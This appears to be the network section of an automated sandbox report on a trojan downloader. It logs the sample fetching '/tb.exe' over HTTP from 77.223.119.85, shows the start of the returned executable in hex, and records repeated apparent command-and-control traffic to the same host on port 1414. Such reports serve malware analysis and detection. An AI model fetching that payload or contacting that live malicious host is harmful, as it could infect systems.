Apr 12, 2025 19:35:17.168498039 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168502092 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168509960 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168520927 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168523073 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168534040 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168545008 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168560028 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168562889 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168574095 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168584108 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168586969 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168598890 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168611050 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168618917 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168622017 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168633938 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168636084 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168644905 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168657064 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168658972 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168672085 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168699980 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168828011 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168840885 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168853045 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168900967 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.168965101 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168977022 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.168989897 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169007063 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169015884 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169018984 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169032097 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169033051 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169043064 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169054985 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169064045 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169066906 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169080019 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169091940 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169105053 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169106007 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169117928 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169130087 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169131041 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169131041 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169142008 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169153929 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169154882 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169168949 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169182062 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169184923 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169197083 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169208050 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169219971 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169223070 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169231892 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169240952 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169245005 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169259071 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169270039 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169275045 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169281960 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.169295073 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.169313908 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.219044924 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.391843081 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.391861916 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.391920090 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.392086029 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.392098904 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.392134905 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.392142057 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.392146111 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.392175913 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.393064022 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393075943 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393085957 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393098116 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393110991 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393114090 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.393127918 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393136024 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.393162012 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.393858910 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393868923 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393878937 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393887997 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393893957 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.393899918 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393910885 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.393929005 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.393939018 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.394082069 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394093037 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394129038 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.394864082 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394875050 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394885063 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394893885 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394902945 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394902945 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.394915104 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394926071 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394936085 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394941092 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.394947052 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394958019 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394963980 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.394968033 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394978046 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394978046 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.394989014 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.394994020 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.394999027 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.395009995 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.395011902 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.395023108 CEST	80	49713	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:17.395032883 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.395056009 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:17.996468067 CEST	49713	80	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:18.125524998 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 12, 2025 19:35:18.437793016 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 12, 2025 19:35:19.047178030 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 12, 2025 19:35:20.250294924 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 12, 2025 19:35:20.277657986 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:20.281702995 CEST	49681	80	192.168.2.4	2.17.190.73
Apr 12, 2025 19:35:20.505290985 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:20.505561113 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:20.516468048 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:20.744455099 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:20.753557920 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:20.984647036 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:21.031570911 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:21.658657074 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:21.926726103 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:21.926839113 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:22.208326101 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:22.656559944 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 12, 2025 19:35:26.891577959 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 12, 2025 19:35:27.203452110 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 12, 2025 19:35:27.470566988 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 12, 2025 19:35:27.812846899 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 12, 2025 19:35:29.016019106 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 12, 2025 19:35:29.691329956 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:29.692907095 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:29.693185091 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:29.812758923 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:29.813865900 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:29.813997030 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:29.814049959 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:29.814093113 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:29.814102888 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:29.814102888 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:29.814189911 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:29.815960884 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:29.817612886 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:29.817634106 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:29.817677975 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:29.817714930 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:29.883290052 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:29.938488960 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:29.952594042 CEST	49723	80	192.168.2.4	64.233.185.94
Apr 12, 2025 19:35:30.004548073 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:30.006927967 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:30.007013083 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:30.007087946 CEST	443	49711	131.253.33.254	192.168.2.4
Apr 12, 2025 19:35:30.007204056 CEST	49711	443	192.168.2.4	131.253.33.254
Apr 12, 2025 19:35:30.010190010 CEST	49680	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:30.010530949 CEST	49724	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:30.010545969 CEST	443	49724	204.79.197.222	192.168.2.4
Apr 12, 2025 19:35:30.010651112 CEST	49724	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:30.010915995 CEST	49724	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:30.010929108 CEST	443	49724	204.79.197.222	192.168.2.4
Apr 12, 2025 19:35:30.058855057 CEST	80	49723	64.233.185.94	192.168.2.4
Apr 12, 2025 19:35:30.058959007 CEST	49723	80	192.168.2.4	64.233.185.94
Apr 12, 2025 19:35:30.059125900 CEST	49723	80	192.168.2.4	64.233.185.94
Apr 12, 2025 19:35:30.165225983 CEST	80	49723	64.233.185.94	192.168.2.4
Apr 12, 2025 19:35:30.167119026 CEST	80	49723	64.233.185.94	192.168.2.4
Apr 12, 2025 19:35:30.167136908 CEST	80	49723	64.233.185.94	192.168.2.4
Apr 12, 2025 19:35:30.167191029 CEST	49723	80	192.168.2.4	64.233.185.94
Apr 12, 2025 19:35:30.173396111 CEST	49723	80	192.168.2.4	64.233.185.94
Apr 12, 2025 19:35:30.281279087 CEST	80	49723	64.233.185.94	192.168.2.4
Apr 12, 2025 19:35:30.312871933 CEST	49680	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:30.328457117 CEST	49723	80	192.168.2.4	64.233.185.94
Apr 12, 2025 19:35:30.353631973 CEST	443	49724	204.79.197.222	192.168.2.4
Apr 12, 2025 19:35:30.353703022 CEST	49724	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:30.922194004 CEST	49680	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:31.422209978 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 12, 2025 19:35:32.126912117 CEST	49680	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:34.531591892 CEST	49680	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:36.234991074 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 12, 2025 19:35:36.621701002 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:36.899305105 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:36.899511099 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:37.078525066 CEST	49671	443	192.168.2.4	204.79.197.203
Apr 12, 2025 19:35:37.128045082 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:37.172489882 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:37.400096893 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:37.408301115 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:37.680372953 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:37.680510044 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:37.961730003 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:39.344120979 CEST	49680	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:45.844170094 CEST	49678	443	192.168.2.4	20.189.173.27
Apr 12, 2025 19:35:48.953541994 CEST	49680	443	192.168.2.4	204.79.197.222
Apr 12, 2025 19:35:51.455988884 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:51.533056974 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:51.533292055 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:51.683706045 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:51.734870911 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:51.813750029 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:51.962451935 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:51.965630054 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:52.235433102 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:52.235522985 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:35:52.516817093 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:35:56.031933069 CEST	49708	80	192.168.2.4	199.232.214.172
Apr 12, 2025 19:35:56.137912989 CEST	80	49708	199.232.214.172	192.168.2.4
Apr 12, 2025 19:35:56.137972116 CEST	80	49708	199.232.214.172	192.168.2.4
Apr 12, 2025 19:35:56.138047934 CEST	49708	80	192.168.2.4	199.232.214.172
Apr 12, 2025 19:36:06.313723087 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:06.596652031 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:06.596807957 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:06.828183889 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:06.875458956 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:07.102545023 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:07.105421066 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:07.378037930 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:07.378134012 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:07.659085035 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:21.173065901 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:21.454579115 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:21.454663038 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:21.517859936 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:21.563205957 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:21.681684971 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:21.734843969 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:21.790314913 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:21.792290926 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:22.063868046 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:22.063956976 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:22.345199108 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:30.610333920 CEST	49723	80	192.168.2.4	64.233.185.94
Apr 12, 2025 19:36:30.717910051 CEST	80	49723	64.233.185.94	192.168.2.4
Apr 12, 2025 19:36:30.717977047 CEST	49723	80	192.168.2.4	64.233.185.94
Apr 12, 2025 19:36:36.033058882 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:36.312642097 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:36.312844038 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:36.540873051 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:36.594491005 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:36.822519064 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:36.827387094 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:37.109538078 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:37.109806061 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:37.390542984 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:50.893618107 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:51.170802116 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:51.170957088 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:51.400121927 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:51.453690052 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:51.681629896 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:51.684191942 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:51.967700958 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:36:51.968527079 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:36:52.248414040 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:00.719578981 CEST	49710	443	192.168.2.4	52.113.196.254
Apr 12, 2025 19:37:05.751808882 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:06.029843092 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:06.030453920 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:06.258843899 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:06.313361883 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:06.540987015 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:06.542675972 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:06.810709000 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:06.810820103 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:07.091726065 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:20.063641071 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:20.340734005 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:20.343549013 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:20.571376085 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:20.625766993 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:20.853334904 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:20.854588032 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:21.137610912 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:21.137866974 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:21.418662071 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:21.529067993 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:21.578855038 CEST	49714	1414	192.168.2.4	77.223.119.85
Apr 12, 2025 19:37:21.806606054 CEST	1414	49714	77.223.119.85	192.168.2.4
Apr 12, 2025 19:37:21.860117912 CEST	49714	1414	192.168.2.4	77.223.119.85

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 12, 2025 19:35:29.844866037 CEST	63175	53	192.168.2.4	1.1.1.1
Apr 12, 2025 19:35:29.951786995 CEST	53	63175	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 12, 2025 19:35:29.844866037 CEST	192.168.2.4	1.1.1.1	0x87d1	Standard query (0)	c.pki.goog	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 12, 2025 19:35:21.177337885 CEST	1.1.1.1	192.168.2.4	0x68f8	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Apr 12, 2025 19:35:21.177337885 CEST	1.1.1.1	192.168.2.4	0x68f8	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Apr 12, 2025 19:35:29.951786995 CEST	1.1.1.1	192.168.2.4	0x87d1	No error (0)	c.pki.goog	pki-goog.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 12, 2025 19:35:29.951786995 CEST	1.1.1.1	192.168.2.4	0x87d1	No error (0)	pki-goog.l.google.com		64.233.185.94	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

77.223.119.85

c.pki.goog

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49713	77.223.119.85	80	3928	C:\Users\user\Desktop\SecuriteInfo.com.Trojan.DownLoader48.29860.1293.7282.exe

Timestamp	Bytes transferred	Direction	Data
Apr 12, 2025 19:35:14.663721085 CEST	69	OUT	GET /tb.exe HTTP/1.1 Host: 77.223.119.85 Connection: Keep-Alive
Apr 12, 2025 19:35:14.891134024 CEST	1358	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 08 Apr 2025 21:05:32 GMT Accept-Ranges: bytes ETag: "3466e6f6c9a8db1:0" Server: Microsoft-IIS/10.0 Date: Sat, 12 Apr 2025 17:35:14 GMT Content-Length: 1548800 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 47 05 da d5 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 30 00 00 98 17 00 00 08 00 00 00 00 00 00 6e b7 17 00 00 20 00 00 00 c0 17 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 18 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 14 b7 17 00 57 00 00 00 00 c0 17 00 aa 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 17 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 